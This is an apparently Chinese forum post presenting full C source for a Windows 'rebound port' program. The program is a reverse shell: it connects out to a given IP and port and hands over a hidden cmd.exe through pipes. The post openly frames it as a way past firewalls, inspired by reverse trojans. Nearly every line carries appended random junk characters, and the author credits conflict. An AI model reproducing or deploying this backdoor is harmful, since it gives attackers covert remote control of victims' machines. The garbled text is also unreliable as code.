这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 xV>
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/* ============================== ;jzJ6~<
Rebound port in Windows NT K*@?BE
By wind,2006/7 56Wh<i3
===============================*/ $u<;X^
#include K)'[^V Xh
#include n{?Du
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#pragma comment(lib,"wsock32.lib") #Pd9i5~N
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void OutputShell(); ,RPb<3
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SOCKET sClient; f#s 6 'g
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; )z7CT|h7S
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void main(int argc,char **argv) IVxJN(N^
{ [G_ ;78
WSADATA stWsaData; 4e#g{,
int nRet; G#7*O`
SOCKADDR_IN stSaiClient,stSaiServer; $O |Xq7dp
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if(argc != 3) [J2evi?
{ >!fTWdD^
printf("Useage:\n\rRebound DestIP DestPort\n"); B&MDn']fV/
return; lMgguu~qg
} CEj_{uf|
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WSAStartup(MAKEWORD(2,2),&stWsaData); =c6d$
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); }9ulHiR
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stSaiClient.sin_family = AF_INET; b'O/u."O
stSaiClient.sin_port = htons(0); [r2V+b.C
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); >l0Qd1
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) Jq^[^
{ M(>74(}]
printf("Bind Socket Failed!\n"); (6fD5XtS
return; -c>3|bo
} ndQw>
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stSaiServer.sin_family = AF_INET; Bl>m`/\1i
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); Wps^wY
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); DcxT6[
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) %R5- 6
{ e/4C` J-
printf("Connect Error!"); m+M^we*R
return; nzbVI
} BD"Dzq
OutputShell(); P,8TO-e7
} &DW !$b
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void OutputShell() H7uh"/A
{ HDhkg-QC
char szBuff[1024]; PVi;h%>Y
SECURITY_ATTRIBUTES stSecurityAttributes; ` 0@m,
OSVERSIONINFO stOsversionInfo; 3X Y"s"
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; UK6x]tE
STARTUPINFO stStartupInfo; [Vbdsu9
char *szShell; @Ov}X]ELi
PROCESS_INFORMATION stProcessInformation; z&9ljQ
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unsigned long lBytesRead; >JNdtP8s/1
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); \6AM?}v
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); N(i.E5&9
stSecurityAttributes.lpSecurityDescriptor = 0; C#[P<= v
stSecurityAttributes.bInheritHandle = TRUE; vAP1PQX;
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); /{j._4c
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); yFm88
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); /pRv
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stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; .8'c
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stStartupInfo.wShowWindow = SW_HIDE; -I4@6vE,
stStartupInfo.hStdInput = hReadPipe; # ,H!<X;SS
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; A#`$#CO
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GetVersionEx(&stOsversionInfo); |Fx *,91
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switch(stOsversionInfo.dwPlatformId) sw9ri}oc
{ D<70rBf2
case 1: n"?*"Ya
szShell = "command.com"; ~|<'@B!6
break; BW)@.!C
default: X+{brvM<
szShell = "cmd.exe"; C6g p}%
break; zv"NbN
} SWtqp(h]'
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); OGW3Pe0Z'
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send(sClient,szMsg,77,0); vMY!Z1.*
while(1) CY=lN5!J
{ I\Y N!
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); N*[b26
if(lBytesRead) N=U`BhL_
{ s3sD7 @
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); b*tb$F
send(sClient,szBuff,lBytesRead,0); Js:U1q
} ;I@\}!%H
else /)RH-_63
{ `
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lBytesRead=recv(sClient,szBuff,1024,0); 3
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if(lBytesRead<=0) break; P(-
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); /j3",N+I
} 7m%12=Im5
} VL5VYv=:
o;
6^:
return; 4C?4M;
}